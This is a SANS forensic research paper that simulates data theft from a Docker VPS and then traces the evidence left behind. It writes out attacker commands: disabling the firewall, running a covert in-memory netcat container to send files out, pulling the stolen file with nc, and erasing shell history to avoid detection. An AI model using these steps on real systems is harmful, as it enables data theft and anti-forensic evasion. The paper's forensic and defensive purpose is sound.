Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka

Copyright SANS Institute 2020. Author Retains Full Rights.
This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission.
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

GIAC (GCFE) Gold Certification

Author: Seth Enoka, seth.enoka@gmail.com
Advisor: Mohammed Haron
Accepted: July 31st, 2018

Abstract

The use of application containerisation is on the rise due to the lightweight, portable nature of applications developed with this technology, and the ease with which containers can be administered. Instead of deploying an entire virtual machine to run applications separately from one another, users are now able to create modular, insulated software packages which are not necessarily integrated with the host operating system. This means the packages are able to be configured once, then deployed to many servers, many times, instantiated and then removed without affecting the host in the same way traditional applications would. Because of the portability of the applications, they are more versatile and less resource expensive to deploy and maintain. This also means that containerised applications are somewhat ethereal, and can be run only when required, this can present a challenge for security professionals because these applications do not collaborate with the host operating system in a traditional way. Therefore, they can leave fewer artefacts behind for a forensic investigator to analyse. This analysis can be further impeded by the fact containerisation is being used within virtual private servers hosted in the cloud.
1. Introduction

Traditional digital forensics relies on forensic artefacts being created on devices during device usage, which can later be recovered and reviewed by forensic examiners to identify malicious activity. Recently, live response is gaining popularity as attackers are becoming savvier and can better hide their activity, either through scrubbing or by executing their activity in volatile memory (RAM) (Porter, 2014). Of particular interest to any forensic examiner should be Virtual Private Servers (VPSs), which allow users and organisations to run production servers in the cloud. This can be especially concerning when those servers are running containerised applications built on technologies such as Docker or Kubernetes (Cvedetails.com, n.d.). Worse still is the possibility that some cloud service providers may not allow organisations to perform security assessments of their hosted infrastructure without prior permission, if at all.

It appears that little information exists regarding the comparative levels of security between large cloud service providers such as Google Cloud Computer, Amazon AWS, and Microsoft Azure and other less well-renowned providers. This is a potential area for further research. Further, little documentation is apparent to indicate the level of security an organisation can or should expect from such service providers, besides their lists of compliance certifications (Thorpe, 2018). Additionally, surveys suggest that users are more likely to choose a ‘primary platform’ due to the belief that these platforms have stronger security (Solutions, n.d.), but there does not appear to be researched to suggest it is indeed the case that any one of these platforms is more secure than the others.

Docker, a container platform with an active community of developers, is currently reported to have approximately 49% of market share in the industry (Datanyze.com, n.d.). Docker containers can be configured to run in such a way that the data required by the application is stored either in the host filesystem, within a protected container area on the host disk, or within memory (Docker Documentation, n.d.). As a result, there are many areas of a device where evidence of malicious activity such as data exfiltration might be found.
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Docker can be used to create instances of numerous applications which can be used as methods to exfiltrate data, including FTP (Lesage, 2018) and netcat (Salisbury, 2016). This paper explores how these methods might be used by an attacker who has compromised a VPS to exfiltrate intellectual property from an organisation. Once the data has been exfiltrated, a forensic image of the VPS will be created which will be analysed using the SANS SIFT Workstation, X-Ways Forensics and FTK Imager. Finally, any evidence of the malicious activity will be presented, along with lessons learned and areas of possible further research. For the purposes of the exercise, assume an attacker has already compromised the root credentials on the Docker VPS. An image of the Docker VPS, including any containers within, will be used for the forensic analysis.

Potential attacks on VPS’ include, but are not limited to, attacks on open service ports such as SSH (port 22), HTTP/S (ports 80 and 443), SMTP (port 25), SMB (port 445), DNS (port 53), or simple brute force attacks on suspected usernames using rainbow tables or wordlists/dictionaries. Administrators should be aware of these types of attacks and attempt to mitigate the risks wherever possible. This can be done by disabling root account login, changing the default ports for certain services such as SSH, or disabling unused services and ports altogether, such as closing ports 80 and 443 on servers which do not host web services. Extraneous user accounts should also be kept to a minimum, and strong password policies enforced ("20 Ways to Secure Your Linux VPS so You Don't Get Hacked", 2017).

2. Methods of Exfiltration

Attackers have many and varied methods of data exfiltration at their disposal, both overt and covert. The methods discussed here will be FTP and a more covert method, netcat. The threat landscape is such that new exfiltration methods are being discovered or manufactured every day, and this is a very small sample of what is available to an attacker.

Seth Enoka. seth.enoka@gmail.com
2.1. FTP

FTP (File Transfer Protocol) is a standard networking protocol which is used to transfer files from one device to another. One common use-case for FTP is the transfer of large files which are too big to travel via email. FTP is robust and provides an attacker with many different possible methods for file transfer: web transfer via a web browser such as Chrome or Firefox, using a GUI tool such as CuteFTP or Filezilla, or using a CLI.

FTP establishes a TCP connection between the client and the server, allowing files to be transferred from one to the other in either direction, typically over port 21. The best way to mitigate the risks associated with unauthorised FTP file transfers is to block all FTP traffic and port 21. This should not affect day-to-day network operation unless FTP is in frequent use in the organisation but will result in a more secure network.

Given that FTP is a service which is built into most operating systems, it is a tool which an attacker can use as soon as they manage to infiltrate a system, and with a minimum of the complications posed by antivirus programs and firewalls as these are typically configured to allow FTP traffic and applications. As such, an attacker could opt to use FTP in a Docker container via either the CLI or a GUI application. If no FTP application is currently installed, the attacker can create a new Docker container and install an FTP client within the container in an attempt to avoid detection.

2.2. netcat

Netcat, while old, is still a very valuable tool for penetration testers and attackers alike. It allows the user to run port scans and grab banners, but more importantly, to perform file transfers and open backdoor shells on a victim computer (Hacking Tutorials, 2016). All of this can be done by setting up a netcat listener, and then sending executable commands to that listener, or using that listener to send or receive files.

Netcat can be configured to use any high port which is not currently in use on the target and client system(s). It is run entirely via a CLI and has no GUI application. Netcat comes as a precompiled executable from many sources online. It can be

Seth Enoka. seth.enoka@gmail.com
challenging to protect against an attack using netcat because it is capable of using any TCP or UDP port. If the network has any open ports which are not in use, these should be closed as a matter of course. Failing this, comprehensive network monitoring should be implemented to identify suspicious network activity, including higher than normal bandwidth usage, which is sometimes an indication of data exfiltration.

Netcat can very quickly be implemented within a Docker container, as it can be acquired from many remote servers using many different protocols. It can then be executed inside a container where it may be hidden from the host operating system, as well as the anti-malware solutions such as antivirus on the host device.

3. Installation: Docker and Exfiltration Method(s)

To install any method of exfiltration, a containerisation application must first be installed and available. Since Docker is the most commonly used of these platforms today, this is the option of focus here. Once Docker is successfully installed on a VPS, the attacker can proceed to install FileZilla and netcat in turn.

As the VPS platform, the organisation is using Vultr (www.vultr.com). A new Docker application server using Ubuntu 16.04 has been deployed. Once this server has been deployed and is confirmed running, the attacker can log in with the compromised root password, usually specified by Vultr. This can be done either through the console provided by Vultr or by using any terminal application with ssh capability as follows: ssh root@<ip address>. The attacker then enters the root password when prompted. This is followed by disabling the firewall using sudo ufw disable to avoid technical difficulties later, such as being unable to connect to the remote FTP server.

Disabling the firewall may or may not be necessary in all cases but will make the process smoother. Finally, the ability to access the Internet should be tested to ensure everything is working as expected. The easiest way to do this would be to run ping google.com or ping 8.8.8.8. Once these steps are complete, the exfiltration methods can be installed on the server.

Seth Enoka. seth.enoka@gmail.com
3.1. Filezilla

Given that Docker is an open platform and has a very active community, there are a vast number of pre-configured containers available to both legitimate users and attackers. Filezilla can be installed using the following command (Lesage, 2018):

```bash
docker run -d
   --rm
   --name=filezilla
   -p 5800:5800
   -v /docker/appdata/filezilla:/config:rw
   -v $HOME:/storage:rw
   jlesage/filezilla
```

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>docker run</td>
<td>Instantiate a new Docker container.</td>
</tr>
<tr>
<td>-d</td>
<td>Forces the newly created container to run in the background.</td>
</tr>
<tr>
<td>--rm</td>
<td>Removes the container when it is no longer being used, decreasing the likelihood the container will be discovered by an administrator.</td>
</tr>
<tr>
<td>--name:&lt;insert name&gt;</td>
<td>Gives the new container a friendly name. If not specified, one will be automatically generated. Allows the attacker to hide the container among other legitimate containers.</td>
</tr>
<tr>
<td>-p &lt;from&gt;:&lt;to&gt;</td>
<td>The port or port range available to the container.</td>
</tr>
<tr>
<td>-v</td>
<td>Allows the user to set mapped volumes between the operating system and the container.</td>
</tr>
<tr>
<td>-v /docker/appdata/filezilla</td>
<td>Specify the location to save the configuration of the container which requires persistence.</td>
</tr>
</tbody>
</table>

Seth Enoka. seth.enoka@gmail.com
-v $HOME:/storage

<table>
<thead>
<tr>
<th>Specification</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-v $HOME:/storage</td>
<td>Specify the location of any files on the host which need to be accessible to the container.</td>
</tr>
<tr>
<td>jlesage/filezilla</td>
<td>The Docker container which will be downloaded and installed from the community repository.</td>
</tr>
</tbody>
</table>

Table 3.1.1: Explanation of the parameters required to create FileZilla Docker container

(Docker Documentation, n.d.)

This command should work on Docker application servers running either Linux or Windows. Installing FileZilla in this way is not at all covert and will leave a lot of filesystem artefacts for a forensic examiner to find. After completing the testing and creating a timeline of activity on the Docker server using log2timeline, 13,047 events within the timeline were created by the installation and configuration of this container over a period of just ten minutes.

With FileZilla installed using this method, an attacker can then proceed to browse to the web UI of the container with any browser: http://<ip address>:5800, where <ip address> refers to the external IP of the Docker VPS. Doing so allows the attacker to browse the directory tree of the Docker server, connect to other FTP servers or clients, and upload or download data via the container.

Figure 3.1.1: FileZilla web UI

Seth Enoka. seth.enoka@gmail.com
### 3.2. netcat

As with FileZilla, there are also many community containers preconfigured to allow users to easily install netcat within a Docker environment. In this instance, a Docker container running netcat in a manner designed to be covert has been purposefully instantiated (Salisbury, 2016):

```bash
docker run -i \\
   --mount type=tmpfs,destination=/var \\
   --rm \\
   --name=nctheft \\
   -p 9000:9000 \\
gophernet/netcat -l -p 9000 < /var/IP.txt
```

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>docker run</td>
<td>Instantiate a new Docker container.</td>
</tr>
<tr>
<td>-i</td>
<td>Used to keep STDIN open at all times.</td>
</tr>
<tr>
<td>--mount</td>
<td>Determines where data for the container will be stored, either in the filesystem (bind), in the Docker container area (volume), or in memory (tmpfs). The specified destination maps to the filesystem location which will be available to the container.</td>
</tr>
<tr>
<td>--rm</td>
<td>Removes the container when it is no longer being used, decreasing the likelihood the container will be discovered by an administrator.</td>
</tr>
<tr>
<td>--name:&lt;insert name&gt;</td>
<td>Gives the new container a friendly name. If not specified, one will be automatically generated. Allows the attacker to hide the container among other legitimate containers.</td>
</tr>
<tr>
<td>-p &lt;from&gt;:&lt;to&gt;</td>
<td>The port or port range available to the container.</td>
</tr>
<tr>
<td>gophernet/netcat</td>
<td>The Docker container which will be downloaded and installed from the gophernet/netcat image.</td>
</tr>
</tbody>
</table>
community repository.

- l: indicates the netcat instance will be a listener

- p: the port on which netcat will listen

< /var/IP.txt: the file which will be sent via netcat to a client on a remote system

Table 3.2.1: Explanation of the parameters required for netcat Docker container (Docker Documentation, n.d.)

Evidently, it is trivial to create a Docker container in such a way that it runs entirely in memory and can be used to exfiltrate intellectual property while creating minimal forensic artefacts within the host filesystem.

4. Exfiltrating Data

To exfiltrate data from the Docker VPS the attacker must first identify some data to exfiltrate. To keep things relatively simple, a pair of documents to exfiltrate, containing intellectual property, were created in different locations on the host, one in the /docker/appdata folder, and one in the /var folder:

```
echo "Do not steal!" > /docker/appdata/filezilla/IP.txt && echo "Do not steal!" > /var/IP.txt
```

Initially, a mistake was made when running this command by executing it before creating the FileZilla container, so the /docker/appdata folder structure did not yet exist. Hence, it was necessary to run the command a second time, so it appears in .bash_history twice.

4.1. FileZilla

At this point, the FileZilla container already exists and is running on the VPS. To exfiltrate the intellectual property (created above), all that needs to be done is to connect to the FileZilla server. This can be done using any FTP client by connecting to the external <ip address>:<port> combination created when instantiating the container,

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

along with the compromised root credentials. Technically, the internal IP address of the Docker server could also be used from within the same network. Alternatively, the attacker can browse to the web UI at http://<ip address>:<port> and use this client to connect to a remote FTP location to download the data to their remote server (Lesage, 2018).

Figure 4.1.1: Filezilla web UI connecting to a remote server from the Docker container within the compromised Vultr VPS

Once connected, the attacker is able to identify and navigate to the location of the data they want to exfiltrate:

Figure 4.1.2: Location of the intellectual property, IP.txt file

Download the data to a remote server:

Seth Enoka. seth.enoka@gmail.com
Figure 4.1.3: IP.txt being transferred from the Docker server to a remote server

Confirm the data has been transferred successfully:

<table>
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Type</th>
<th>Last Modified</th>
<th>Permission</th>
<th>Owner/Group</th>
</tr>
</thead>
<tbody>
<tr>
<td>www</td>
<td></td>
<td>Directory</td>
<td>03/10/17 0...</td>
<td>fcdmp...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>.bash...</td>
<td>26005</td>
<td>File</td>
<td>05/20/18 0...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>.bash...</td>
<td>220</td>
<td>File</td>
<td>11/12/14 2...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>.bash...</td>
<td>3515</td>
<td>File</td>
<td>11/12/14 2...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>.profile</td>
<td>675</td>
<td>File</td>
<td>11/12/14 2...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>IP.txt</td>
<td>14</td>
<td>txt-file</td>
<td>05/20/18 0...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
<tr>
<td>a.sh</td>
<td>213</td>
<td>sh-file</td>
<td>03/11/17 0...</td>
<td>adfrw 0...</td>
<td>1176 11...</td>
</tr>
</tbody>
</table>

Figure 4.1.4: Location of IP.txt file on remote server after transferring from Docker

4.2. netcat

Ideally for an attacker, deploying a netcat container would be immediately followed by data exfiltration. The longer the lag between instantiating the container and the container being removed, the higher the chance of being caught in the act. This is particularly true if the container is created using tmpfs instead of a bind or volume mount point (Docker Documentation, n.d.), where the attacker is trying to be as covert as possible, and their activity may only be discoverable while the attack is taking place. Once the client has received the data, the netcat listener is closed down, at which point the container also shuts down and then automatically removes itself.

An attacker would either identify data to be stolen, or potentially zip the data to be stolen into a single file. Then, they would run the following command on the Docker server, where /var could be the root of the host filesystem, or any other location desired, and /var/IP.txt is the intellectual property they want to exfiltrate (Salisbury, 2016):

docker run \
  -i \
  --mount type=tmpfs,destination=/var \
  --rm \

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

```
--name=nctheft \n-p 9000:9000 \ngophernet/netcat -l -p 9000 < /var/IP.txt
```

Once the netcat container is installed and running, awaiting a connection from a client, the attacker would run a second command on their local machine to which they wanted to download the data (Hacking Tutorials, 2016) (Skoudis, n.d.):

```
nc \n-\nv \n-n \n-w3 \n149.28.167.212 9000 > IP.txt
```

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>nc</td>
<td>Run netcat.</td>
</tr>
<tr>
<td>-v</td>
<td>Verbose, output messages including errors to the terminal window.</td>
</tr>
<tr>
<td>-n</td>
<td>Don’t use DNS to look up domain names (useful when name resolution causes errors).</td>
</tr>
<tr>
<td>-w3</td>
<td>The amount of time to wait for a connection to open successfully. In this instance, after three seconds netcat will exit.</td>
</tr>
<tr>
<td>149.28.167.212</td>
<td>The IP address to which netcat should attempt to connect.</td>
</tr>
<tr>
<td>9000</td>
<td>The port to which netcat should attempt to connect on the remote server.</td>
</tr>
<tr>
<td>&gt; IP.txt</td>
<td>Used to redirect the output received from netcat to a file, in this case a file called IP.txt within the working directory of the terminal.</td>
</tr>
</tbody>
</table>

Table 4.2.1: Explanation of the parameters required for netcat client

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Figure 4.2.1: The result of running the above netcat command, and confirming success of the operation

The netcat connection returned the status of the netcat server on the remote Docker VPS, cslis tener open. The result of running this command on a local machine, as shown by the result of the ls -l command, is that the data received via the netcat connection was saved to the working directory of the terminal in the file called IP.txt. Further, the result of the subsequent cat IP.txt command shows that indeed the contents of the IP.txt file on the remote Docker server has been downloaded as the local copy of IP.txt.

Now that both versions of IP.txt from the Docker server (/var/IP.txt and /docker/appdata/config/IP.txt) have been successfully exfiltrated, a forensic image of the server is required to perform further analysis.

5. Acquire a Forensic Image and Perform Forensic Analysis

Most VPS providers allow the user to prepare a snapshot of any virtual server they have created. This is a good first step, where available, for a digital forensic practitioner as this will preserve the integrity of the evidence on the host operating system partition, any additional partitions, and, most importantly, the working memory of the virtual server. A challenge with Vultr is that there is no easy way to download the snapshot which has been taken. However, the snapshot functionality does at least allow the user to create a snapshot, then restore that snapshot to a different server, allowing the user...

Seth Enoka. seth.enoka@gmail.com
original compromised server to remain untouched and serve as original evidence, where the secondary, restored server will be the working copy.

5.1. Image Acquisition

After taking a snapshot of the virtual server, there are many methods available for creating a forensic image. One method would be to upload a Linux live boot ISO (i.e. Paladin Edge, DEFT, Helix) and mount this to the virtual server. Force the server to reboot into the Linux live environment where a forensic image can then be taken using ewfacquire or similar tools. As an alternative, the method employed here will be to make the server image itself using dd.

First, identify the volumes available on the Docker application server by running the command df –Th from the terminal (Schroder, 2012):

```
$ df -Th
```

![Figure 5.1.1: Results of a df –Th command on the remote Docker server](image)

We can clearly see here that /dev/vda1 would be the virtual disk partition containing the filesystem, meaning /dev/vda is the virtual disk. All of the other mount points are temporary, and /dev/vda1 is the only partition formatted ext4. This could be further confirmed by performing a ls -l /dev/vda1 command to ensure its contents consisted of operating system data. In this case, given that this is the only virtual disk apparent in the system, this is the drive on which to focus to generate a forensic image.

To produce a bit-for-bit image of a remote server, it is necessary to ssh to that server and ask it to dd its virtual disk, outputting the result of that command to a local

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Using dc3dd or dfldd is preferable because they can provide on the fly hashing and error checking.

```bash
ssh root@149.28.167.212 \
"dc3dd if=/dev/vda | gzip -1 " | dc3dd \ hof=vda.image.gz
```

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ssh</td>
<td>Initiate an SSH connection to a remote server or device.</td>
</tr>
<tr>
<td>&lt;user&gt;@&lt;ip address&gt;</td>
<td>Supply the required username and IP address of the remote server or device to which to connect.</td>
</tr>
<tr>
<td>dd</td>
<td>Command line utility built into most Linux distributions, used to convert and copy files (would have been called cc but this command was already in use). Can be used to create bit-for-bit copies of hard disks, including virtual disks.</td>
</tr>
<tr>
<td>dc3dd</td>
<td>A patched version of dd which has an enhanced feature set, including hashing.</td>
</tr>
<tr>
<td>if=/path/to/infile</td>
<td>Identifies the file or volume which will be the input to the dd command.</td>
</tr>
<tr>
<td>gzip</td>
<td>Used to compress or decompress files and folders.</td>
</tr>
<tr>
<td>-l</td>
<td>Specifies the level of compression gzip will use, 1 being the fastest, i.e. least compression, and 9 being the best, i.e. greatest compression.</td>
</tr>
<tr>
<td>hof=/path/to/outfile</td>
<td>Identifies the file or volume which will be the output of the dd command. Also hashes the output file and verifies the hash by comparing the input and output hashes.</td>
</tr>
</tbody>
</table>

Table 5.1.1: Explanation of the parameters required for dd

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Figure 5.1.2: Result of asking the remote server to create a bit-for-bit copy of its virtual disk, and outputting the resulting file to a local device

As can be seen in figure 5.1.2, passing the \texttt{dd} (or \texttt{dc3dd} as the case may be) command to a secure shell on a remote server and then piping the result to an output file on a local device (or a secondary remote device if desired) results in a compressed, bit-level copy of the virtual disk of the remote Docker VPS. Because this server had only been running for approximately half an hour, and few actions had been performed on the server, only around 1.3GB of data was transferred from the remote server to the local device in a compressed gzip file. Once this image was created, it could then be examined and analysed in any forensic tool which accepts \texttt{dd} images, such as the SANS SIFT Workstation, or X-Ways Forensics.

5.2. Image Analysis

The analysis of a \texttt{dd} image can be conducted in most forensic tools, but the SANS SIFT Workstation was used to create a timeline with \texttt{log2timeline}, and to then parse this data with \texttt{Plaso}. Further examination was performed with both FTK Imager and X-Ways.
Forensics, to quickly examine files in situ on the virtual disk, such as log files and .bash_history.

5.2.1. SANS SIFT Workstation

To analyse the dd image in the SANS SIFT Workstation (SANS, 2017), copy it to the Desktop (or some other location) on the workstation itself. Then unzip using zcat, i.e. zcat vda.image.gz > vda.dd, or any other compression tool. Once the image is decompressed, process it into a super timeline using log2timeline (Gudjonsson, 2015):

log2timeline.py \
    --status_view window \
    --logfile Desktop/vda.log \n    Desktop/vda.plaso \n    Desktop/vda.dd

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>log2timeline.py</td>
<td>Log2timeline is a python script which creates a super timeline of all the timestamps on a given system, putting them into a logical order for analysis.</td>
</tr>
<tr>
<td>--status_view window</td>
<td>Produces a more easily readable CLI output while the tool is running, so the operator has a better idea of what is happening while processing.</td>
</tr>
<tr>
<td>--logfile Desktop/vda.log</td>
<td>Produces a log file of the timeline process for later review if necessary.</td>
</tr>
<tr>
<td>Desktop/vda.plaso</td>
<td>The Plaso output file containing the super timeline.</td>
</tr>
<tr>
<td>Desktop/vda.dd</td>
<td>The image file used for input to log2timeline.py.</td>
</tr>
</tbody>
</table>

Table 5.2.1.1: Explanation of the parameters required for log2timeline.py

This command will produce 1) a progress Window such as that seen in figure 5.2.1.1 while processing, and 2) an output file which contains a super timeline of all activity (i.e. timestamps) on the evidence device in the form of a <filename>.plaso file.

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

![Image of log2timeline status view](image)

**Figure 5.2.1.1**: Status view window of log2timeline while processing vda.dd image

The Plaso timeline can then be reformatted and filtered if desired using `psort.py` (Metz, 2018).

```
psort.py -z Australia/Sydney Desktop/vda.plaso > Desktop/timeline.csv
```

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>psort.py</td>
<td>A command line tool to post-process Plaso super timelines.</td>
</tr>
<tr>
<td>-z Australia/Sydney</td>
<td>Set the time zone of the output file to create.</td>
</tr>
<tr>
<td>Desktop/vda.plaso</td>
<td>Specify the input file for psort.py.</td>
</tr>
<tr>
<td>Desktop/timeline.csv</td>
<td>Specify the output file, i.e. the post-processed output of the Plaso file created earlier.</td>
</tr>
</tbody>
</table>

Table 5.2.1.2: Explanation of the parameters required for `psort.py`

The output (i.e. `timeline.csv`) can then be analysed in Microsoft Excel. This is the most straightforward way to review short to medium sized super timelines as Excel has built-in filtering and sorting capabilities which most users find more user-friendly than a CLI. However, full super timelines will likely not be able to be reviewed in Excel as they will be much too large. Plaso, log2timeline, and `psort.py` also allow the user to filter and sort in a multitude of ways, which for brevity will not be included here. For example, here is the timeline around the creation of the IP.txt files on the Docker VPS, as well as the creation of the FileZilla container:

Seth Enoka. seth.enoka@email.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka, seth.enoka@gmail.com

Figure 5.2.1.2: Super timeline around the creation of IP.txt files and FileZilla container

The timeline further indicates that there is a lot of Docker activity (not explicitly shown to relate to FileZilla or netcat containers) between 20/5/2018 11:49 UTC+10 and 20/5/2018 11:59 UTC+10. Around 13,000 timeline entries were created during this ten-minute period.

There is additional evidence in the timeline, which can be further confirmed by looking at the event logs on the system (Appendices A - D), as well as .bash_history that the IP.txt file was accessed and potentially exfiltrated via the FileZilla container at this time, due to the updated FileZilla configuration files.

Figure 5.2.1.3: Timeline evidence of IP.txt exfiltration via FileZilla Docker container

5.2.2. X-Ways Forensics

To examine the image file in X-Ways Forensics (X-Ways Forensics, 2018), a new case must be created, then the image added as an evidence source. A Refine Volume Snapshot should be performed using the settings shown in figure 5.2.2.1. Select all of the relevant file headers for which to carve and allow X-Ways to process the evidence.
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

When the Refine Volume Snapshot process completes, files can be reviewed manually, or keyword searches performed. The files were manually reviewed in FTK Imager, so X-Ways was used to perform keyword searches (Simultaneous Search). Personal IP addresses used to connect to the Docker VPS have been redacted.

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Simultaneous Search: vda Unpartitioned space, Partition 1

The analysis within X-Ways was expected to prove more fruitful than that which was conducted using the log2timeline output. However, the only additional information uncovered was that from .bash_history, which shows the history of commands run from within the command terminal on the Docker VPS. This is an example of evidence which would not necessarily be available to an examiner, as an attacker can delete the command history, or pipe the history to /dev/null before executing any commands to ensure their commands cannot be recovered. What is most concerning about these results is that there doesn’t appear to be any evidence of the jlesage or gophernet containers being

Figure 5.2.2.2: X-Ways simultaneous search settings

Seth Enoka. seth.enoka@gmail.com

© 2018 The SANS Institute
Author retains full rights.
downloaded and used by the attacker, besides the evidence in .bash_history. However, many instances of IP addresses used to connect to the Docker VPS were able to be recovered from the FileZilla connection history logs. There was also some evidence of the root user utilising ssh on the server, see Appendix D. There did not appear to be any evidence of dd being used to create a forensic image of the Docker VPS, other than evidence of the ssh connection being initiated by root.

### 5.2.3. FTK Imager

By utilising FTK Imager (FTK Imager, 2017), files of value to an examiner were able to be identified and extracted, namely:

<table>
<thead>
<tr>
<th>File Path/File Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>/docker/appdata/filezilla/log/nginx/access.log</td>
<td>FileZilla connection log (Appendix A).</td>
</tr>
<tr>
<td>/docker/appdata/filezilla/xdg/config/filezilla/recentservers.xml</td>
<td>Servers to which FileZilla has connected (Appendix B).</td>
</tr>
<tr>
<td>/docker/appdata/filezilla/xdg/config/filezilla/trustedcerts.xml</td>
<td>Data pertaining to FileZilla connections (Appendix C).</td>
</tr>
<tr>
<td>/.bash_history</td>
<td>Shell command history.</td>
</tr>
<tr>
<td>/var/log/auth.log</td>
<td>ssh authentication log (Appendix D).</td>
</tr>
</tbody>
</table>

Table 5.2.3.1: Listing of the files containing evidence from the vda.dd image

The FileZilla access log shows much information regarding connections made to the FileZilla web UI, including IP addresses connected to and from, as well as user agent strings for the browsers used. Again, personal IP addresses have been redacted at the start of each line of this file. What isn’t clear from this log is what data may have been accessed, uploaded or downloaded. Similarly, recentservers.xml shows the IP address and username which was connected to from the Docker VPS to upload data but does not indicate what data was transferred during the session. Trustedcerts.xml shows again that there was a connection between this Docker VPS and the same remote server, and
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

includes certificate information, but no data about what was transferred between the servers.

The .bash_history file shows exactly what commands were run from the ssh terminal to the Docker VPS. There are many ways to avoid leaving this evidence for an administrator to find, including running history -c before logging out of the session, or modifying the HISTFILE variable, i.e. export HISTFILE=/dev/null, or unset HISTFILE at the beginning of the session. This file does not show the commands passed directly to an ssh session to the remote server, such as the dd commands used earlier to create the forensic image of the VPS.

```bash
sudo ufw disable
echo "Do not steal!" > /docker/appdata/filezilla/IP.txt & echo "Do not steal!" > /var/IP.txt
docker run -d --name=filezilla -p 5800:5800 -v /docker/appdata/filezilla:/config:rw -v $HOME:/storage:rw jlesage/filezilla echo "Do not steal!" > /docker/appdata/filezilla/IP.txt & echo "Do not steal!" > /var/IP.txt
docker run -i -mount type=tmpfs,destination=/var --rm --name=nc theft -p 9000:9000 gophernet/netcat -l -p 9000 < /var/IP.txt
def -Th
clear; df -Th
```

Figure 5.2.3.1: Contents of the /.bash_history file

The auth.log file shows both successful and unsuccessful authentication events on the Docker VPS. From this log (appendix D), we can determine when ssh sessions were started and ended on the server, as well as some of the activities which took place during those sessions. There is evidence within this log that the firewall was disabled, but no clear evidence that the FileZilla or netcat containers were created, nor that data was exfiltrated from the server. There is also evidence of the first connection used to create the evidence dd image at 20/05/2018 02:00+0 UTC, but the second (for redundancy) connection at 20/05/2018 02:20+0 UTC does not appear in the log at all. It is possible that this connection was not written to the log until after it had successfully exited, at which point the server was destroyed, hence the evidence was not captured in this second image. For clarity, it is this second image which has been used for the analysis above.

6. Lessons Learned and Recommendations

The main takeaway from this exercise has been that if a Docker application server is in production with various containers running, it appears that it could be difficult for an administrator or forensic examiner to determine whether a malicious container had been

Seth Enoka. seth.enoka@gmail.com
instantiated, depending on the environment and maturity of the organisation security program. This is especially true if the attacker hides or removes their bash command history and uses tmpfs instead of bind or volume mount points. It seems likely that any Docker activity associated with the malicious container could be misattributed to legitimate containers. One possible mitigation strategy would be to monitor traffic to and from the host and maintain packet captures and system logs over time (Robinson, 2016) (Hickman, 2017). Alternatively, it would be beneficial to perform further research into the weblogs created by Docker containers, possible custom logging capabilities and network logging, application whitelisting as it relates to Docker, Docker repository whitelisting (i.e. only allowing certain Docker containers to be used), and the use of read-only Docker containers.

Netcat is a very covert attack vector and has historically been a favourite of attackers for this reason. When coupled with tmpfs, it seems almost impossible to detect, except for monitoring network traffic. More research is required to determine if this risk can be mitigated through the use of application whitelisting or something similar as it relates to Docker containers, as well as not allowing containers to run with root privileges (Robinson, 2016) (Hickman, 2017).

There are some container applications explicitly designed to address the issue of data egress in a containerised environment. The tool egress-assess by Chris Truncer is just one example of a tool administrators can use to identify and mitigate the risks within their environment (Truncer, 2017).

Finally, VPS memory forensics is an area which requires more research and could be extremely helpful in cases such as this. The netcat tmpfs container appears to have run almost entirely in memory, and memory captures performed during the attack, as well as immediately after, would be potentially very interesting for a forensic examiner. It is also possible that some of the data may have made it to swap space on the disk, and may be recoverable from this location.

Seth Enoka. seth.enoka@gmail.com
7. Conclusion

FileZilla and netcat are both viable methods of data exfiltration, but there are many others available to a savvy attacker which can also be executed via malicious Docker containers. The findings here reinforce the need for continuous monitoring of application servers and a defence in depth approach, particularly for those servers which run container platforms such as Docker. Research suggests that the adoption of technologies such as Docker is increasing at an incredible rate, and application servers are home to seven Docker containers on average (Datadog Infrastructure Monitoring, 2017). Because a malicious container such as these might not use enough system resources to be noticed, it is essential to have other risk mitigation strategies in place, such as historical network packet capture and authentication log review. Most importantly, remember that not all evidence of malicious activity is likely to be available from the host filesystem, and may only exist for a short time in memory.
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Glossary

C2: Command and Control
FTP: File Transfer Protocol
GUI: Graphical User Interface
CLI: Command Line Interface
VPS: Virtual Private Server
IP: Intellectual Property

Seth Enoka. seth.enoka@gmail.com
References


